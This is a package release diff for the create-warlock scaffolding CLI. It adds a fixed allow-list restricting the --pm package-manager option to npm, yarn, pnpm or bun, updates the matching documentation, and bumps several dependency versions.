+ /** Whether `value` is one of the allow-listed package managers. */
24
+ function isValidPackageManager(value) {
25
+ return ALLOWED_PACKAGE_MANAGERS.includes(value);
26
+ }
10
27
  function getPackageManager() {
11
28
  if (detectedPackageManager) return detectedPackageManager;
12
29
  return getPreferredPackageManager();
@@ -80,5 +97,5 @@ function runPackageManagerCommand(command) {
80
97
  }
81
98
 
82
99
  //#endregion
83
- export { detectPackageManagers, getPackageManager, getPreferredPackageManager, getSystemPackageManagers, runPackageManagerCommand, setPackageManager };
100
+ export { ALLOWED_PACKAGE_MANAGERS, detectPackageManagers, getPackageManager, getPreferredPackageManager, getSystemPackageManagers, isValidPackageManager, runPackageManagerCommand, setPackageManager };
84
101
  //# sourceMappingURL=package-manager.mjs.map
@@ -1 +1 @@
1
- {"version":3,"file":"package-manager.mjs","names":[],"sources":["../../../../../../create-warlock/src/helpers/package-manager.ts"],"sourcesContent":["import { exec, execSync } from \"child_process\";\r\nimport { promisify } from \"util\";\r\nimport detectPackageManager from \"which-pm-runs\";\r\n\r\nconst execAsync = promisify(exec);\r\n\r\nlet detectedPackageManager: string | undefined;\r\nlet cachedSystemManagers: string[] | undefined;\r\nlet cachedPreferredManager: string | undefined;\r\n\r\nexport function getPackageManager() {\r\n if (detectedPackageManager) {\r\n return detectedPackageManager;\r\n }\r\n\r\n return getPreferredPackageManager();\r\n}\r\n\r\n/**\r\n * Check if a package manager is installed\r\n */\r\nfunction isInstalled(manager: string): boolean {\r\n try {\r\n execSync(`${manager} --version`, { stdio: \"ignore\" });\r\n return true;\r\n } catch {\r\n return false;\r\n }\r\n}\r\n\r\n/**\r\n * Check if a package manager is installed (async)\r\n */\r\nasync function checkManager(manager: string): Promise<boolean> {\r\n try {\r\n await execAsync(`${manager} --version`);\r\n return true;\r\n } catch {\r\n return false;\r\n }\r\n}\r\n\r\n/**\r\n * Detect available package managers asynchronously and cache results\r\n */\r\nexport async function detectPackageManagers() {\r\n const managers = [\"npm\"];\r\n const checks = [checkManager(\"yarn\"), checkManager(\"pnpm\")];\r\n\r\n const [hasYarn, hasPnpm] = await Promise.all(checks);\r\n\r\n if (hasYarn) managers.push(\"yarn\");\r\n if (hasPnpm) managers.push(\"pnpm\");\r\n\r\n cachedSystemManagers = managers;\r\n\r\n // Determine preference\r\n const runningPm = detectPackageManager()?.name;\r\n if (runningPm && runningPm !== \"npm\") {\r\n cachedPreferredManager = runningPm;\r\n } else if (hasYarn) {\r\n cachedPreferredManager = \"yarn\";\r\n } else if (hasPnpm) {\r\n cachedPreferredManager = \"pnpm\";\r\n } else {\r\n cachedPreferredManager = \"npm\";\r\n }\r\n}\r\n\r\n/**\r\n * Get available package managers on the system\r\n */\r\nexport function getSystemPackageManagers(): string[] {\r\n if (cachedSystemManagers) return cachedSystemManagers;\r\n\r\n const managers = [\"npm\"]; // npm is assumed to be always available\r\n\r\n if (isInstalled(\"yarn\")) {\r\n managers.push(\"yarn\");\r\n }\r\n\r\n if (isInstalled(\"pnpm\")) {\r\n managers.push(\"pnpm\");\r\n }\r\n\r\n return managers;\r\n}\r\n\r\n/**\r\n * Get the preferred package manager based on priority\r\n */\r\nexport function getPreferredPackageManager(): string {\r\n if (cachedPreferredManager) return cachedPreferredManager;\r\n\r\n // Priority 1: The manager currently running the script\r\n const runningPm = detectPackageManager()?.name;\r\n if (runningPm && runningPm !== \"npm\") return runningPm;\r\n\r\n // Priority 2: Yarn (if installed)\r\n if (isInstalled(\"yarn\")) return \"yarn\";\r\n\r\n // Priority 3: pnpm (if installed)\r\n if (isInstalled(\"pnpm\")) return \"pnpm\";\r\n\r\n // Priority 4: npm (default)\r\n return \"npm\";\r\n}\r\n\r\nexport function setPackageManager(packageManager: string) {\r\n detectedPackageManager = packageManager;\r\n}\r\n\r\nexport function installCommand() {\r\n return `${getPackageManager()} install`;\r\n}\r\n\r\nexport function startCommand() {\r\n if (getPackageManager() === \"npm\") return \"npm run dev\";\r\n\r\n return `${getPackageManager()} dev`;\r\n}\r\n\r\nexport function runPackageManagerCommand(command: string) {\r\n const packageManager = getPackageManager();\r\n\r\n if (packageManager === \"npm\") return `npm run ${command}`;\r\n\r\n return `${packageManager} ${command}`;\r\n}\r\n"],"mappings":";;;;;AAIA,MAAM,YAAY,UAAU,IAAI;AAEhC,IAAI;AACJ,IAAI;AACJ,IAAI;AAEJ,SAAgB,oBAAoB;CAClC,IAAI,wBACF,OAAO;CAGT,OAAO,2BAA2B;AACpC;;;;AAKA,SAAS,YAAY,SAA0B;CAC7C,IAAI;EACF,SAAS,GAAG,QAAQ,aAAa,EAAE,OAAO,SAAS,CAAC;EACpD,OAAO;CACT,QAAQ;EACN,OAAO;CACT;AACF;;;;AAKA,eAAe,aAAa,SAAmC;CAC7D,IAAI;EACF,MAAM,UAAU,GAAG,QAAQ,WAAW;EACtC,OAAO;CACT,QAAQ;EACN,OAAO;CACT;AACF;;;;AAKA,eAAsB,wBAAwB;CAC5C,MAAM,WAAW,CAAC,KAAK;CACvB,MAAM,SAAS,CAAC,aAAa,MAAM,GAAG,aAAa,MAAM,CAAC;CAE1D,MAAM,CAAC,SAAS,WAAW,MAAM,QAAQ,IAAI,MAAM;CAEnD,IAAI,SAAS,SAAS,KAAK,MAAM;CACjC,IAAI,SAAS,SAAS,KAAK,MAAM;CAEjC,uBAAuB;CAGvB,MAAM,YAAY,qBAAqB,CAAC,EAAE;CAC1C,IAAI,aAAa,cAAc,OAC7B,yBAAyB;MACpB,IAAI,SACT,yBAAyB;MACpB,IAAI,SACT,yBAAyB;MAEzB,yBAAyB;AAE7B;;;;AAKA,SAAgB,2BAAqC;CACnD,IAAI,sBAAsB,OAAO;CAEjC,MAAM,WAAW,CAAC,KAAK;CAEvB,IAAI,YAAY,MAAM,GACpB,SAAS,KAAK,MAAM;CAGtB,IAAI,YAAY,MAAM,GACpB,SAAS,KAAK,MAAM;CAGtB,OAAO;AACT;;;;AAKA,SAAgB,6BAAqC;CACnD,IAAI,wBAAwB,OAAO;CAGnC,MAAM,YAAY,qBAAqB,CAAC,EAAE;CAC1C,IAAI,aAAa,cAAc,OAAO,OAAO;CAG7C,IAAI,YAAY,MAAM,GAAG,OAAO;CAGhC,IAAI,YAAY,MAAM,GAAG,OAAO;CAGhC,OAAO;AACT;AAEA,SAAgB,kBAAkB,gBAAwB;CACxD,yBAAyB;AAC3B;AAYA,SAAgB,yBAAyB,SAAiB;CACxD,MAAM,iBAAiB,kBAAkB;CAEzC,IAAI,mBAAmB,OAAO,OAAO,WAAW;CAEhD,OAAO,GAAG,eAAe,GAAG;AAC9B"}
1
+ {"version":3,"file":"package-manager.mjs","names":[],"sources":["../../../../../../create-warlock/src/helpers/package-manager.ts"],"sourcesContent":["import { exec, execSync } from \"child_process\";\r\nimport { promisify } from \"util\";\r\nimport detectPackageManager from \"which-pm-runs\";\r\n\r\nconst execAsync = promisify(exec);\r\n\r\nlet detectedPackageManager: string | undefined;\r\nlet cachedSystemManagers: string[] | undefined;\r\nlet cachedPreferredManager: string | undefined;\r\n\r\n/**\r\n * The only package managers `--pm` may select. This value reaches `spawn()`\r\n * as the executable to run and is spliced into the generated\r\n * `package.json`'s scripts — an allow-list here is a hard security\r\n * boundary, not just input hygiene, so it stays a fixed literal list\r\n * rather than anything derived from user input or the running environment.\r\n */\r\nexport const ALLOWED_PACKAGE_MANAGERS = [\"npm\", \"yarn\", \"pnpm\", \"bun\"] as const;\r\n\r\nexport type AllowedPackageManager = (typeof ALLOWED_PACKAGE_MANAGERS)[number];\r\n\r\n/** Whether `value` is one of the allow-listed package managers. */\r\nexport function isValidPackageManager(\r\n value: string,\r\n): value is AllowedPackageManager {\r\n return (ALLOWED_PACKAGE_MANAGERS as readonly string[]).includes(value);\r\n}\r\n\r\nexport function getPackageManager() {\r\n if (detectedPackageManager) {\r\n return detectedPackageManager;\r\n }\r\n\r\n return getPreferredPackageManager();\r\n}\r\n\r\n/**\r\n * Check if a package manager is installed\r\n */\r\nfunction isInstalled(manager: string): boolean {\r\n try {\r\n execSync(`${manager} --version`, { stdio: \"ignore\" });\r\n return true;\r\n } catch {\r\n return false;\r\n }\r\n}\r\n\r\n/**\r\n * Check if a package manager is installed (async)\r\n */\r\nasync function checkManager(manager: string): Promise<boolean> {\r\n try {\r\n await execAsync(`${manager} --version`);\r\n return true;\r\n } catch {\r\n return false;\r\n }\r\n}\r\n\r\n/**\r\n * Detect available package managers asynchronously and cache results\r\n */\r\nexport async function detectPackageManagers() {\r\n const managers = [\"npm\"];\r\n const checks = [checkManager(\"yarn\"), checkManager(\"pnpm\")];\r\n\r\n const [hasYarn, hasPnpm] = await Promise.all(checks);\r\n\r\n if (hasYarn) managers.push(\"yarn\");\r\n if (hasPnpm) managers.push(\"pnpm\");\r\n\r\n cachedSystemManagers = managers;\r\n\r\n // Determine preference\r\n const runningPm = detectPackageManager()?.name;\r\n if (runningPm && runningPm !== \"npm\") {\r\n cachedPreferredManager = runningPm;\r\n } else if (hasYarn) {\r\n cachedPreferredManager = \"yarn\";\r\n } else if (hasPnpm) {\r\n cachedPreferredManager = \"pnpm\";\r\n } else {\r\n cachedPreferredManager = \"npm\";\r\n }\r\n}\r\n\r\n/**\r\n * Get available package managers on the system\r\n */\r\nexport function getSystemPackageManagers(): string[] {\r\n if (cachedSystemManagers) return cachedSystemManagers;\r\n\r\n const managers = [\"npm\"]; // npm is assumed to be always available\r\n\r\n if (isInstalled(\"yarn\")) {\r\n managers.push(\"yarn\");\r\n }\r\n\r\n if (isInstalled(\"pnpm\")) {\r\n managers.push(\"pnpm\");\r\n }\r\n\r\n return managers;\r\n}\r\n\r\n/**\r\n * Get the preferred package manager based on priority\r\n */\r\nexport function getPreferredPackageManager(): string {\r\n if (cachedPreferredManager) return cachedPreferredManager;\r\n\r\n // Priority 1: The manager currently running the script\r\n const runningPm = detectPackageManager()?.name;\r\n if (runningPm && runningPm !== \"npm\") return runningPm;\r\n\r\n // Priority 2: Yarn (if installed)\r\n if (isInstalled(\"yarn\")) return \"yarn\";\r\n\r\n // Priority 3: pnpm (if installed)\r\n if (isInstalled(\"pnpm\")) return \"pnpm\";\r\n\r\n // Priority 4: npm (default)\r\n return \"npm\";\r\n}\r\n\r\nexport function setPackageManager(packageManager: string) {\r\n detectedPackageManager = packageManager;\r\n}\r\n\r\nexport function installCommand() {\r\n return `${getPackageManager()} install`;\r\n}\r\n\r\nexport function startCommand() {\r\n if (getPackageManager() === \"npm\") return \"npm run dev\";\r\n\r\n return `${getPackageManager()} dev`;\r\n}\r\n\r\nexport function runPackageManagerCommand(command: string) {\r\n const packageManager = getPackageManager();\r\n\r\n if (packageManager === \"npm\") return `npm run ${command}`;\r\n\r\n return `${packageManager} ${command}`;\r\n}\r\n"],"mappings":";;;;;AAIA,MAAM,YAAY,UAAU,IAAI;AAEhC,IAAI;AACJ,IAAI;AACJ,IAAI;;;;;;;;AASJ,MAAa,2BAA2B;CAAC;CAAO;CAAQ;CAAQ;AAAK;;AAKrE,SAAgB,sBACd,OACgC;CAChC,OAAQ,yBAA+C,SAAS,KAAK;AACvE;AAEA,SAAgB,oBAAoB;CAClC,IAAI,wBACF,OAAO;CAGT,OAAO,2BAA2B;AACpC;;;;AAKA,SAAS,YAAY,SAA0B;CAC7C,IAAI;EACF,SAAS,GAAG,QAAQ,aAAa,EAAE,OAAO,SAAS,CAAC;EACpD,OAAO;CACT,QAAQ;EACN,OAAO;CACT;AACF;;;;AAKA,eAAe,aAAa,SAAmC;CAC7D,IAAI;EACF,MAAM,UAAU,GAAG,QAAQ,WAAW;EACtC,OAAO;CACT,QAAQ;EACN,OAAO;CACT;AACF;;;;AAKA,eAAsB,wBAAwB;CAC5C,MAAM,WAAW,CAAC,KAAK;CACvB,MAAM,SAAS,CAAC,aAAa,MAAM,GAAG,aAAa,MAAM,CAAC;CAE1D,MAAM,CAAC,SAAS,WAAW,MAAM,QAAQ,IAAI,MAAM;CAEnD,IAAI,SAAS,SAAS,KAAK,MAAM;CACjC,IAAI,SAAS,SAAS,KAAK,MAAM;CAEjC,uBAAuB;CAGvB,MAAM,YAAY,qBAAqB,CAAC,EAAE;CAC1C,IAAI,aAAa,cAAc,OAC7B,yBAAyB;MACpB,IAAI,SACT,yBAAyB;MACpB,IAAI,SACT,yBAAyB;MAEzB,yBAAyB;AAE7B;;;;AAKA,SAAgB,2BAAqC;CACnD,IAAI,sBAAsB,OAAO;CAEjC,MAAM,WAAW,CAAC,KAAK;CAEvB,IAAI,YAAY,MAAM,GACpB,SAAS,KAAK,MAAM;CAGtB,IAAI,YAAY,MAAM,GACpB,SAAS,KAAK,MAAM;CAGtB,OAAO;AACT;;;;AAKA,SAAgB,6BAAqC;CACnD,IAAI,wBAAwB,OAAO;CAGnC,MAAM,YAAY,qBAAqB,CAAC,EAAE;CAC1C,IAAI,aAAa,cAAc,OAAO,OAAO;CAG7C,IAAI,YAAY,MAAM,GAAG,OAAO;CAGhC,IAAI,YAAY,MAAM,GAAG,OAAO;CAGhC,OAAO;AACT;AAEA,SAAgB,kBAAkB,gBAAwB;CACxD,yBAAyB;AAC3B;AAYA,SAAgB,yBAAyB,SAAiB;CACxD,MAAM,iBAAiB,kBAAkB;CAEzC,IAAI,mBAAmB,OAAO,OAAO,WAAW;CAEhD,OAAO,GAAG,eAAe,GAAG;AAC9B"}
package/llms-full.txt CHANGED
@@ -52,7 +52,7 @@ Pass `--yes` (or `-y`) to skip every prompt and build from flags with defaults.
52
52
  | `<positional>` / `--name`| yes | — (required) | Project name + target directory. |
53
53
  | `--db` | yes | `mongodb` | Database driver key (`mongodb`, `postgres`, or `none`). |
54
54
  | `--no-db` | no | — | Opt out of a database — shorthand for `--db=none`. |
55
- | `--pm` | yes | auto-detected | Package manager (`npm` / `yarn` / `pnpm`). |
55
+ | `--pm` | yes | auto-detected | Package manager — must be one of `npm` / `yarn` / `pnpm` / `bun`; anything else is rejected before scaffolding starts. |
56
56
  | `--features` | yes (CSV) | none | Comma-separated optional feature keys. |
57
57
  | `--ai` | yes (CSV) | none | Comma-separated AI provider keys (auto-pulls `@warlock.js/ai`). |
58
58
  | `--git` / `--no-git` | no | off | Initialize a Git repo (`git init` + `main` branch + initial commit).|
package/package.json CHANGED
@@ -12,13 +12,13 @@
12
12
  "dependencies": {
13
13
  "@clack/prompts": "^0.7.0",
14
14
  "@mongez/copper": "^2.1.2",
15
- "@warlock.js/fs": "4.15.0",
16
- "@mongez/reinforcements": "^3.3.0",
15
+ "@warlock.js/fs": "4.16.0",
16
+ "@mongez/reinforcements": "^4.0.1",
17
17
  "cross-spawn": "^7.0.3",
18
18
  "rimraf": "^6.0.1",
19
19
  "which-pm-runs": "^1.1.0"
20
20
  },
21
- "version": "4.15.0",
21
+ "version": "4.16.0",
22
22
  "type": "module",
23
23
  "main": "./esm/index.mjs",
24
24
  "module": "./esm/index.mjs",
@@ -44,7 +44,7 @@ Pass `--yes` (or `-y`) to skip every prompt and build from flags with defaults.
44
44
  | `<positional>` / `--name`| yes | — (required) | Project name + target directory. |
45
45
  | `--db` | yes | `mongodb` | Database driver key (`mongodb`, `postgres`, or `none`). |
46
46
  | `--no-db` | no | — | Opt out of a database — shorthand for `--db=none`. |
47
- | `--pm` | yes | auto-detected | Package manager (`npm` / `yarn` / `pnpm`). |
47
+ | `--pm` | yes | auto-detected | Package manager — must be one of `npm` / `yarn` / `pnpm` / `bun`; anything else is rejected before scaffolding starts. |
48
48
  | `--features` | yes (CSV) | none | Comma-separated optional feature keys. |
49
49
  | `--ai` | yes (CSV) | none | Comma-separated AI provider keys (auto-pulls `@warlock.js/ai`). |
50
50
  | `--git` / `--no-git` | no | off | Initialize a Git repo (`git init` + `main` branch + initial commit).|
@@ -32,21 +32,21 @@
32
32
  "lf": "find . -type d ( -name 'node_modules' -o -name '.git' ) -prune -o -type f -exec dos2unix {} ;"
33
33
  },
34
34
  "dependencies": {
35
- "@mongez/reinforcements": "^3.3.0",
36
- "@mongez/localization": "^3.4.6",
37
- "@mongez/supportive-is": "^2.1.3",
38
- "@warlock.js/auth": "4.0.119",
39
- "@warlock.js/cache": "4.0.119",
40
- "@warlock.js/cascade": "4.0.119",
41
- "@warlock.js/scheduler": "4.0.119",
42
- "@warlock.js/core": "4.0.119",
43
- "@warlock.js/fs": "4.0.119",
44
- "@warlock.js/logger": "4.0.119",
45
- "@warlock.js/seal": "4.0.119",
35
+ "@mongez/reinforcements": "^4.0.1",
36
+ "@mongez/localization": "^3.4.7",
37
+ "@mongez/supportive-is": "^2.1.4",
38
+ "@warlock.js/auth": "4.15.0",
39
+ "@warlock.js/cache": "4.15.0",
40
+ "@warlock.js/cascade": "4.15.0",
41
+ "@warlock.js/scheduler": "4.15.0",
42
+ "@warlock.js/core": "4.15.0",
43
+ "@warlock.js/fs": "4.15.0",
44
+ "@warlock.js/logger": "4.15.0",
45
+ "@warlock.js/seal": "4.15.0",
46
46
  "dayjs": "^1.11.19"
47
47
  },
48
48
  "devDependencies": {
49
- "@mongez/agent-kit": "^1.2.0",
49
+ "@mongez/agent-kit": "^1.2.1",
50
50
  "@mongez/huskier": "^3.0.0",
51
51
  "@types/node": "^25.0.3",
52
52
  "@types/prettier": "^3.0.0",